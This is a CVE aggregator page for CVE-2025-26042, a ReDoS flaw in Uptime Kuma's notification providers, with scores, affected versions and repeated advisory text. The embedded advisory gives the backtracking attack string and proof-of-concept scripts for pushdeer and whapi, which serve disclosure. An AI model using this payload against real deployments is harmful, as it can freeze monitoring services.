CVE-2025-26042
Duplicate Advisory: Uptime Kuma ReDoS vulnerability
Uptime Kuma >== 1.23.0 has a ReDoS vulnerability, specifically when an administrator creates a notification through the web service. If a string is provided it triggers catastrophic backtracking in the regular expression, leading to a ReDoS attack.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- High
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
6.0
Uptime Kuma >== 1.23.0 has a ReDoS vulnerability, specifically when an administrator creates a notification through the web service. If a string is provided it triggers catastrophic backtracking in the regular expression, leading to a ReDoS attack.
- Record
CVE-2025-26042- CVSS 3.1
- 6.0 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:H/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
EUVDEUVD-2025-6495
6.0
Uptime Kuma >== 1.23.0 has a ReDoS vulnerability, specifically when an administrator creates a notification through the web service. If a string is provided it triggers catastrophic backtracking in the regular expression, leading to a ReDoS attack.
- Record
EUVD-2025-6495- CVSS 3.1
- 6.0 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-3rw8-4xrq-3f7p
6.9
Duplicate Advisory: Uptime Kuma ReDoS vulnerability
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-hx7h-9vf7-5xhg. This link is maintained to preserve external references.
Original Description
Uptime Kuma >== 1.23.0 has a ReDoS vulnerability, specifically when an administrator creates a notification through the web service. If a string is provided it triggers catastrophic backtracking in the regular expression, leading to a ReDoS attack.
- Record
GHSA-3rw8-4xrq-3f7p- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N - CVSS 3.1
- 6.0 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:H/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-hx7h-9vf7-5xhg
6.7
Uptime Kuma's Regular Expression in pushdeeer and whapi file Leads to ReDoS Vulnerability Due to Catastrophic Backtracking
Summary
There is a ReDoS vulnerability risk in the system, specifically when administrators create notification through the web service(pushdeer and whapi). If a string is provided that triggers catastrophic backtracking in the regular expression, it may lead to a ReDoS attack.
Details
The regular expression \/*$\ is used to match zero or more slashes / at the end of a URL. When a malicious attack string appends a large number of slashes / and a non-slash character at the end of the URL, the regular expression enters a backtracking matching process. During this process, the regular expression engine starts checking each slash from the first one, continuing until it encounters the last non-slash character. Due to the greedy matching nature of the regular expression, this process repeats itself, with each backtrack checking the next slash until the last slash is checked. This backtracking process consumes significant CPU resources.
.replace(/\/*$/, "")
For the regular expression /\/*$/, an attack string like
"https://e" + "/".repeat(100000) + "@"
can trigger catastrophic backtracking, causing the web service to freeze and potentially leading to a ReDoS attack.
When entered from the web interface, the attack string needs to expand
"/".repeat(100000)and be input directly, such ashttps://e/////////..//@. This triggers catastrophic backtracking, leading to web service lag and posing a potential ReDoS attack risk.
PoC
The poc.js is in: https://gist.github.com/ShiyuBanzhou/26c918f93b07f5ce90e8f7000d29c7a0 The time lag phenomenon can be observed through test-pushdeer-ReDos, which helps verify the presence of the ReDoS attack:
const semver = require("semver");
let test;
const nodeVersion = process.versions.node;
if (semver.satisfies(nodeVersion, ">= 18")) {
test = require("node:test");
} else {
test = require("test");
}
const PushDeer = require("../../server/notification-providers/pushdeer.js");
const assert = require("node:assert");
test("Test ReDos - attack string", async (t) => {
const pushDeer = new PushDeer();
const notification = {
pushdeerServer: "https://e" + "/".repeat(100000) + "@",
};
const msg = "Test Attacking";
const startTime = performance.now();
try {
pushDeer.send(notification, msg)
} catch (error) {
// pass
}
const endTime = performance.now();
const elapsedTime = endTime - startTime;
const reDosThreshold = 2000;
assert(elapsedTime <= reDosThreshold, `🚨 Potential ReDoS Attack! send method took ${elapsedTime.toFixed(2)} ms, exceeding threshold of ${reDosThreshold} ms.`);
});
Move the
test-uptime-calculator.jsfile to the./uptime-kuma/test/backend-testfolder and runnpm run test-backendto execute the backend tests.
Trigger conditions for whapi jams, In the send function within the uptime-kuma\server\notification-providers\pushdeer.js file:
https://gist.github.com/ShiyuBanzhou/bf4cee61603e152c114fa8c4791f9f28
// The attack string "httpS://example" + "/".repeat(100000) + "@"
// poc.js
// Import the target file
const Whapi = require("./uptime-kuma/server/notification-providers/whapi");
// Create an instance of Whapi
const whapi = new Whapi();
const notification = {
whapiApiUrl: "https://e" + "/".repeat(100000) + "@",
};
// console.log(`${notification.whapiApiUrl}`);
// Define the message to be sent
const msg = "Test Attacking";
// Call the send method and handle exceptions
whapi.send(notification, msg)
// 1-5 are the original installation methods for the project
// 6-8 are attack methods
// ---
// 1.run `git clone https://github.com/louislam/uptime-kuma.git`
// 2.run `cd uptime-kuma`
// 3.run `npm run setup`
// 4.run `npm install pm2 -g && pm2 install pm2-logrotate`
// 5.run `pm2 start server/server.js --name uptime-kuma`
// ---
// 6.Run npm install in the root directory of the same level as `README.md`
// 7.Move `poc.js` to the…
- Record
GHSA-hx7h-9vf7-5xhg- CVSS 4.0
- 6.7 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:H/SC:L/SI:L/SA:L - Weakness
- CWE-1333
- Updated
- 2026-11-02
NVD
6.0
Uptime Kuma >== 1.23.0 has a ReDoS vulnerability, specifically when an administrator creates a notification through the web service. If a string is provided it triggers catastrophic backtracking in the regular expression, leading to a ReDoS attack.
- Record
CVE-2025-26042- CVSS 3.1
- 6.0 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:H/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
OSV
6.0
Uptime Kuma >== 1.23.0 has a ReDoS vulnerability, specifically when an administrator creates a notification through the web service. If a string is provided it triggers catastrophic backtracking in the regular expression, leading to a ReDoS attack.
- Record
CVE-2025-26042- CVSS 3.1
- 6.0 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:H/A:H - Updated
- 2026-11-02
OSVGHSA-3rw8-4xrq-3f7p
6.9
Duplicate Advisory: Uptime Kuma ReDoS vulnerability
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-hx7h-9vf7-5xhg. This link is maintained to preserve external references.
Original Description
Uptime Kuma >== 1.23.0 has a ReDoS vulnerability, specifically when an administrator creates a notification through the web service. If a string is provided it triggers catastrophic backtracking in the regular expression, leading to a ReDoS attack.
- Record
GHSA-3rw8-4xrq-3f7p- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N - CVSS 3.1
- 6.0 Medium
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:H/A:H - Weakness
- CWE-1333
- Updated
- 2026-11-02
OSVGHSA-hx7h-9vf7-5xhg
6.7
Uptime Kuma's Regular Expression in pushdeeer and whapi file Leads to ReDoS Vulnerability Due to Catastrophic Backtracking
Summary
There is a ReDoS vulnerability risk in the system, specifically when administrators create notification through the web service(pushdeer and whapi). If a string is provided that triggers catastrophic backtracking in the regular expression, it may lead to a ReDoS attack.
Details
The regular expression \/*$\ is used to match zero or more slashes / at the end of a URL. When a malicious attack string appends a large number of slashes / and a non-slash character at the end of the URL, the regular expression enters a backtracking matching process. During this process, the regular expression engine starts checking each slash from the first one, continuing until it encounters the last non-slash character. Due to the greedy matching nature of the regular expression, this process repeats itself, with each backtrack checking the next slash until the last slash is checked. This backtracking process consumes significant CPU resources.
.replace(/\/*$/, "")
For the regular expression /\/*$/, an attack string like
"https://e" + "/".repeat(100000) + "@"
can trigger catastrophic backtracking, causing the web service to freeze and potentially leading to a ReDoS attack.
When entered from the web interface, the attack string needs to expand
"/".repeat(100000)and be input directly, such ashttps://e/////////..//@. This triggers catastrophic backtracking, leading to web service lag and posing a potential ReDoS attack risk.
PoC
The poc.js is in: https://gist.github.com/ShiyuBanzhou/26c918f93b07f5ce90e8f7000d29c7a0 The time lag phenomenon can be observed through test-pushdeer-ReDos, which helps verify the presence of the ReDoS attack:
const semver = require("semver");
let test;
const nodeVersion = process.versions.node;
if (semver.satisfies(nodeVersion, ">= 18")) {
test = require("node:test");
} else {
test = require("test");
}
const PushDeer = require("../../server/notification-providers/pushdeer.js");
const assert = require("node:assert");
test("Test ReDos - attack string", async (t) => {
const pushDeer = new PushDeer();
const notification = {
pushdeerServer: "https://e" + "/".repeat(100000) + "@",
};
const msg = "Test Attacking";
const startTime = performance.now();
try {
pushDeer.send(notification, msg)
} catch (error) {
// pass
}
const endTime = performance.now();
const elapsedTime = endTime - startTime;
const reDosThreshold = 2000;
assert(elapsedTime <= reDosThreshold, `🚨 Potential ReDoS Attack! send method took ${elapsedTime.toFixed(2)} ms, exceeding threshold of ${reDosThreshold} ms.`);
});
Move the
test-uptime-calculator.jsfile to the./uptime-kuma/test/backend-testfolder and runnpm run test-backendto execute the backend tests.
Trigger conditions for whapi jams, In the send function within the uptime-kuma\server\notification-providers\pushdeer.js file:
https://gist.github.com/ShiyuBanzhou/bf4cee61603e152c114fa8c4791f9f28
// The attack string "httpS://example" + "/".repeat(100000) + "@"
// poc.js
// Import the target file
const Whapi = require("./uptime-kuma/server/notification-providers/whapi");
// Create an instance of Whapi
const whapi = new Whapi();
const notification = {
whapiApiUrl: "https://e" + "/".repeat(100000) + "@",
};
// console.log(`${notification.whapiApiUrl}`);
// Define the message to be sent
const msg = "Test Attacking";
// Call the send method and handle exceptions
whapi.send(notification, msg)
// 1-5 are the original installation methods for the project
// 6-8 are attack methods
// ---
// 1.run `git clone https://github.com/louislam/uptime-kuma.git`
// 2.run `cd uptime-kuma`
// 3.run `npm run setup`
// 4.run `npm install pm2 -g && pm2 install pm2-logrotate`
// 5.run `pm2 start server/server.js --name uptime-kuma`
// ---
// 6.Run npm install in the root directory of the same level as `README.md`
// 7.Move `poc.js` to the…
- Record
GHSA-hx7h-9vf7-5xhg- CVSS 4.0
- 6.7 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:H/SC:L/SI:L/SA:L - Weakness
- CWE-1333
- Updated
- 2026-11-02
Affected packages
| Package | Affected | Fixed |
|---|---|---|
uptime-kumanpm |
1.15.0 to 1.23.16 | None known |
uptime-kumanpm |
2.0.0-beta.0 up to 2.0.0-beta.2 | 2.0.0-beta.2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-26042 is a medium vulnerability (CVSS 6.0) in uptime-kuma, published March 17, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.40%, the 34th percentile. Fixed in uptime-kuma 2.0.0-beta.2.
References
github.com/louislam/uptime-kuma/issues/5574
github.com/louislam/uptime-kuma/pull/5573
github.com/louislam/uptime-kuma/commit/7a9191761dbef6551c2a0aa6eed5f693ba48d688
nvd.nist.gov/vuln/detail/CVE-2025-26042
github.com/advisories/GHSA-3rw8-4xrq-3f7p
github.com/louislam/uptime-kuma/security/advisories/GHSA-hx7h-9vf7-5xhg
Left out here: the rest of 2 source descriptions. The JSON record has them.